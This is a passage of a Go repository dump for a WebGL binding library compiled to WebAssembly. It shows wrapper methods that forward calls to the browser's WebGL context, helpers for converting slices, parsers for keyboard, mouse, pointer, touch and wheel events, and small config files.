293 | func (gl *WebGL) Disable(c Capacity) {
294 | gl.gl.Call("disable", int(c))
295 | }
296 |
297 | func (gl *WebGL) IsEnabled(c Capacity) bool {
298 | return gl.gl.Call("isEnabled", int(c)).Bool()
299 | }
300 |
301 | func (gl *WebGL) DepthFunc(f DepthFunc) {
302 | gl.gl.Call("depthFunc", int(f))
303 | }
304 |
305 | func (gl *WebGL) VertexAttribPointer(i, size int, typ Type, normalized bool, stride, offset int) {
306 | gl.gl.Call("vertexAttribPointer", i, size, int(typ), normalized, stride, offset)
307 | }
308 |
309 | func (gl *WebGL) VertexAttribIPointer(i, size int, typ Type, stride, offset int) {
310 | gl.gl.Call("vertexAttribIPointer", i, size, int(typ), stride, offset)
311 | }
312 |
313 | func (gl *WebGL) EnableVertexAttribArray(i int) {
314 | gl.gl.Call("enableVertexAttribArray", i)
315 | }
316 |
317 | func (gl *WebGL) DisableVertexAttribArray(i int) {
318 | gl.gl.Call("disableVertexAttribArray", i)
319 | }
320 |
321 | func (gl *WebGL) UniformMatrix4fv(loc Location, transpose bool, mat Mat4) {
322 | f := mat.Floats()
323 | matJS := float32Array.Call("of",
324 | f[0], f[1], f[2], f[3],
325 | f[4], f[5], f[6], f[7],
326 | f[8], f[9], f[10], f[11],
327 | f[12], f[13], f[14], f[15],
328 | )
329 | gl.gl.Call("uniformMatrix4fv", js.Value(loc), transpose, matJS)
330 | }
331 |
332 | func (gl *WebGL) Uniform3fv(loc Location, v Vec3) {
333 | f := v.Floats()
334 | vecJS := float32Array.Call("of", f[0], f[1], f[2])
335 | gl.gl.Call("uniform3fv", js.Value(loc), vecJS)
336 | }
337 |
338 | func (gl *WebGL) Uniform1i(loc Location, i int) {
339 | gl.gl.Call("uniform1i", js.Value(loc), i)
340 | }
341 |
342 | func (gl *WebGL) Uniform1ui(loc Location, i uint32) {
343 | gl.gl.Call("uniform1ui", js.Value(loc), i)
344 | }
345 |
346 | func (gl *WebGL) Uniform1f(loc Location, i float32) {
347 | gl.gl.Call("uniform1f", js.Value(loc), i)
348 | }
349 |
350 | func (gl *WebGL) Clear(mask BufferMask) {
351 | gl.gl.Call("clear", int(mask))
352 | }
353 |
354 | func (gl *WebGL) DrawArrays(mode DrawMode, i, n int) {
355 | gl.gl.Call("drawArrays", int(mode), i, n)
356 | }
357 |
358 | func (gl *WebGL) DrawElements(mode DrawMode, count int, typ Type, offset int) {
359 | gl.gl.Call("drawElements", int(mode), count, int(typ), offset)
360 | }
361 |
362 | func (gl *WebGL) Viewport(x1, y1, x2, y2 int) {
363 | gl.gl.Call("viewport", x1, y1, x2, y2)
364 | }
365 |
366 | func (gl *WebGL) CreateTexture() Texture {
367 | tex := gl.gl.Call("createTexture")
368 | return Texture(&tex)
369 | }
370 |
371 | func (gl *WebGL) BindTexture(texType TextureType, tex Texture) {
372 | if tex == nil {
373 | gl.gl.Call("bindTexture", int(texType), nil)
374 | return
375 | }
376 | gl.gl.Call("bindTexture", int(texType), js.Value(*tex))
377 | }
378 |
379 | func (gl *WebGL) TexImage2D(texType TextureType, level int, internalFmt, fmt PixelFormat, typ Type, img interface{}) {
380 | gl.gl.Call("texImage2D", int(texType), level, int(internalFmt), int(fmt), int(typ), img)
381 | }
382 |
383 | func (gl *WebGL) TexParameteri(texType TextureType, param TextureParameter, val interface{}) {
384 | gl.gl.Call("texParameteri", int(texType), int(param), val)
385 | }
386 |
387 | func (gl *WebGL) ActiveTexture(i TextureNumber) {
388 | gl.gl.Call("activeTexture", int(i))
389 | }
390 |
391 | func (gl *WebGL) BlendFunc(s, d BlendFactor) {
392 | gl.gl.Call("blendFunc", int(s), int(d))
393 | }
394 |
395 | func (gl *WebGL) TransformFeedbackVaryings(p Program, varyings []string, m BufferMode) {
396 | var v []interface{}
397 | for _, vs := range varyings {
398 | v = append(v, vs)
399 | }
400 | gl.gl.Call("transformFeedbackVaryings", js.Value(p), js.ValueOf(v), int(m))
401 | }
402 |
403 | func (gl *WebGL) BeginTransformFeedback(mode DrawMode) {
404 | gl.gl.Call("beginTransformFeedback", int(mode))
405 | }
406 |
407 | func (gl *WebGL) EndTransformFeedback() {
408 | gl.gl.Call("endTransformFeedback")
409 | }
410 |
411 | func (gl *WebGL) CreateTransformFeedback() TransformFeedback {
412 | return TransformFeedback(gl.gl.Call("createTransformFeedback"))
413 | }
414 |
415 | func (gl *WebGL) BindTransformFeedback(target TransformFeedbackTarget, fb TransformFeedback) {
416 | gl.gl.Call("bindTransformFeedback", int(target), js.Value(fb))
417 | }
418 |
419 | func (gl *WebGL) FenceSync(c SyncCondition, flags int) WebGLSync {
420 | return WebGLSync(gl.gl.Call("fenceSync", int(c), flags))
421 | }
422 |
423 | func (gl *WebGL) ClientWaitSync(sync WebGLSync, flags SyncFlushCommandBit, timeout int) WaitSyncResult {
424 | return WaitSyncResult(gl.gl.Call("clientWaitSync", js.Value(sync), int(flags), timeout).Int())
425 | }
426 |
427 | func (gl *WebGL) DeleteSync(sync WebGLSync) {
428 | gl.gl.Call("deleteSync", js.Value(sync))
429 | }
430 |
431 | func (gl *WebGL) Flush() {
432 | gl.gl.Call("flush")
433 | }
434 |
435 | func (gl *WebGL) Finish() {
436 | gl.gl.Call("finish")
437 | }
438 |
439 | func (gl *WebGL) IsContextLost() bool {
440 | return gl.gl.Call("isContextLost").Bool()
441 | }
442 |
443 | func (gl *WebGL) PolygonOffset(factor, units float32) {
444 | gl.gl.Call("polygonOffset", factor, units)
445 | }
446 |
447 | func (gl *WebGL) JS() js.Value {
448 | return gl.gl
449 | }
450 |
451 | func (gl *WebGL) GetExtension(name string) (js.Value, bool) {
452 | ret := gl.gl.Call("getExtension", name)
453 | if ret.IsNull() {
454 | return js.Value{}, false
455 | }
456 | return ret, true
457 | }
458 |
459 | func (gl *WebGL) GetParameter(id int) js.Value {
460 | return gl.gl.Call("getParameter", id)
461 | }
462 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/wetsisterinla/webgl-go
2 |
3 | go 1.16
4 |
--------------------------------------------------------------------------------
/int.go:
--------------------------------------------------------------------------------
1 | package webgl
2 |
3 | import (
4 | "reflect"
5 | "unsafe"
6 | )
7 |
8 | func byteSliceAsUInt32Slice(bytes []byte) []uint32 {
9 | n := len(bytes) / 4
10 |
11 | up := unsafe.Pointer(&(bytes[0]))
12 | pi := (*[1]uint32)(up)
13 | buf := (*pi)[:]
14 | sh := (*reflect.SliceHeader)(unsafe.Pointer(&buf))
15 | sh.Len = n
16 | sh.Cap = n
17 |
18 | return buf
19 | }
20 |
21 | func uint16SliceAsByteSlice(b []uint16) []byte {
22 | n := 2 * len(b)
23 |
24 | up := unsafe.Pointer(&(b[0]))
25 | pi := (*[1]byte)(up)
26 | buf := (*pi)[:]
27 | sh := (*reflect.SliceHeader)(unsafe.Pointer(&buf))
28 | sh.Len = n
29 | sh.Cap = n
30 |
31 | return buf
32 | }
33 |
--------------------------------------------------------------------------------
/keyboardevent_js.go:
--------------------------------------------------------------------------------
1 | package webgl
2 |
3 | import (
4 | "syscall/js"
5 | )
6 |
7 | type KeyboardEvent struct {
8 | UIEvent
9 | Code string
10 | Key string
11 | AltKey bool
12 | CtrlKey bool
13 | ShiftKey bool
14 | }
15 |
16 | func parseKeyboardEvent(event js.Value) KeyboardEvent {
17 | return KeyboardEvent{
18 | UIEvent: UIEvent{
19 | Event: Event{
20 | event: event,
21 | },
22 | },
23 | Code: event.Get("code").String(),
24 | Key: event.Get("key").String(),
25 | AltKey: event.Get("altKey").Bool(),
26 | CtrlKey: event.Get("ctrlKey").Bool(),
27 | ShiftKey: event.Get("shiftKey").Bool(),
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/mat.go:
--------------------------------------------------------------------------------
1 | package webgl
2 |
3 | type Vec3 interface {
4 | Floats() [3]float32
5 | }
6 |
7 | type Mat4 interface {
8 | Floats() [16]float32
9 | }
10 |
--------------------------------------------------------------------------------
/mouseevent_js.go:
--------------------------------------------------------------------------------
1 | package webgl
2 |
3 | import (
4 | "syscall/js"
5 | )
6 |
7 | type MouseButton int
8 |
9 | const (
10 | MouseButtonNull MouseButton = -1
11 | )
12 |
13 | type MouseEvent struct {
14 | UIEvent
15 | OffsetX, OffsetY int
16 | Button MouseButton
17 | AltKey bool
18 | CtrlKey bool
19 | ShiftKey bool
20 | }
21 |
22 | func parseMouseEvent(event js.Value) MouseEvent {
23 | b := MouseButtonNull
24 | button := event.Get("button")
25 | if !button.IsNull() {
26 | b = MouseButton(button.Int())
27 | }
28 | return MouseEvent{
29 | UIEvent: UIEvent{
30 | Event: Event{
31 | event: event,
32 | },
33 | },
34 | OffsetX: event.Get("offsetX").Int(),
35 | OffsetY: event.Get("offsetY").Int(),
36 | Button: b,
37 | AltKey: event.Get("altKey").Bool(),
38 | CtrlKey: event.Get("ctrlKey").Bool(),
39 | ShiftKey: event.Get("shiftKey").Bool(),
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/pointerevent_js.go:
--------------------------------------------------------------------------------
1 | package webgl
2 |
3 | import (
4 | "syscall/js"
5 | )
6 |
7 | type PointerEvent struct {
8 | MouseEvent
9 | PointerId int
10 | IsPrimary bool
11 | }
12 |
13 | func parsePointerEvent(event js.Value) PointerEvent {
14 | return PointerEvent{
15 | MouseEvent: parseMouseEvent(event),
16 | PointerId: event.Get("pointerId").Int(),
17 | IsPrimary: event.Get("isPrimary").Bool(),
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/renovate.json:
--------------------------------------------------------------------------------
1 | {
2 | "$schema": "https://docs.renovatebot.com/renovate-schema.json",
3 | "extends": [
4 | "config:base"
5 | ]
6 | }
7 |
--------------------------------------------------------------------------------
/touchevent_js.go:
--------------------------------------------------------------------------------
1 | package webgl
2 |
3 | import (
4 | "syscall/js"
5 | )
6 |
7 | type TouchEvent struct {
8 | UIEvent
9 |
10 | ChangedTouches []Touch
11 | TargetTouches []Touch
12 | Touches []Touch
13 |
14 | AltKey bool
15 | CtrlKey bool
16 | ShiftKey bool
17 | }
18 |
19 | func parseTouchEvent(event js.Value) TouchEvent {
20 | return TouchEvent{
21 | UIEvent: UIEvent{
22 | Event: Event{
23 | event: event,
24 | },
25 | },
26 | ChangedTouches: parseTouches(event.Get("changedTouches")),
27 | TargetTouches: parseTouches(event.Get("targetTouches")),
28 | Touches: parseTouches(event.Get("touches")),
29 | AltKey: event.Get("altKey").Bool(),
30 | CtrlKey: event.Get("ctrlKey").Bool(),
31 | ShiftKey: event.Get("shiftKey").Bool(),
32 | }
33 | }
34 |
35 | type Touch struct {
36 | Identifier int
37 | ScreenX, ScreenY int
38 | ClientX, ClientY int
39 | PageX, PageY int
40 | }
41 |
42 | func parseTouches(touches js.Value) []Touch {
43 | n := touches.Length()
44 | ts := make([]Touch, 0, n)
45 | for i := 0; i < n; i++ {
46 | t := touches.Index(i)
47 | ts = append(ts, Touch{
48 | Identifier: t.Get("identifier").Int(),
49 | ScreenX: t.Get("screenX").Int(),
50 | ScreenY: t.Get("screenY").Int(),
51 | ClientX: t.Get("clientX").Int(),
52 | ClientY: t.Get("clientY").Int(),
53 | PageX: t.Get("pageX").Int(),
54 | PageY: t.Get("pageY").Int(),
55 | })
56 | }
57 | return ts
58 | }
59 |
--------------------------------------------------------------------------------
/webglcontextevent_js.go:
--------------------------------------------------------------------------------
1 | package webgl
2 |
3 | import (
4 | "syscall/js"
5 | )
6 |
7 | type WebGLContextEvent struct {
8 | Event
9 | StatusMessage string
10 | }
11 |
12 | func parseWebGLContextEvent(event js.Value) WebGLContextEvent {
13 | return WebGLContextEvent{
14 | Event: Event{event: event},
15 | StatusMessage: event.Get("statusMessage").String(),
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/wheelevent_js.go:
--------------------------------------------------------------------------------
1 | package webgl
2 |
3 | type DeltaMode int
4 |
5 | const (
6 | DOM_DELTA_PIXEL DeltaMode = 0x00
7 | DOM_DELTA_LINE DeltaMode = 0x01
8 | DOM_DELTA_PAGE DeltaMode = 0x02
9 | )
10 |
11 | type WheelEvent struct {
12 | MouseEvent
13 | DeltaX, DeltaY, DeltaZ float64
14 | DeltaMode DeltaMode
15 | }
16 |
--------------------------------------------------------------------------------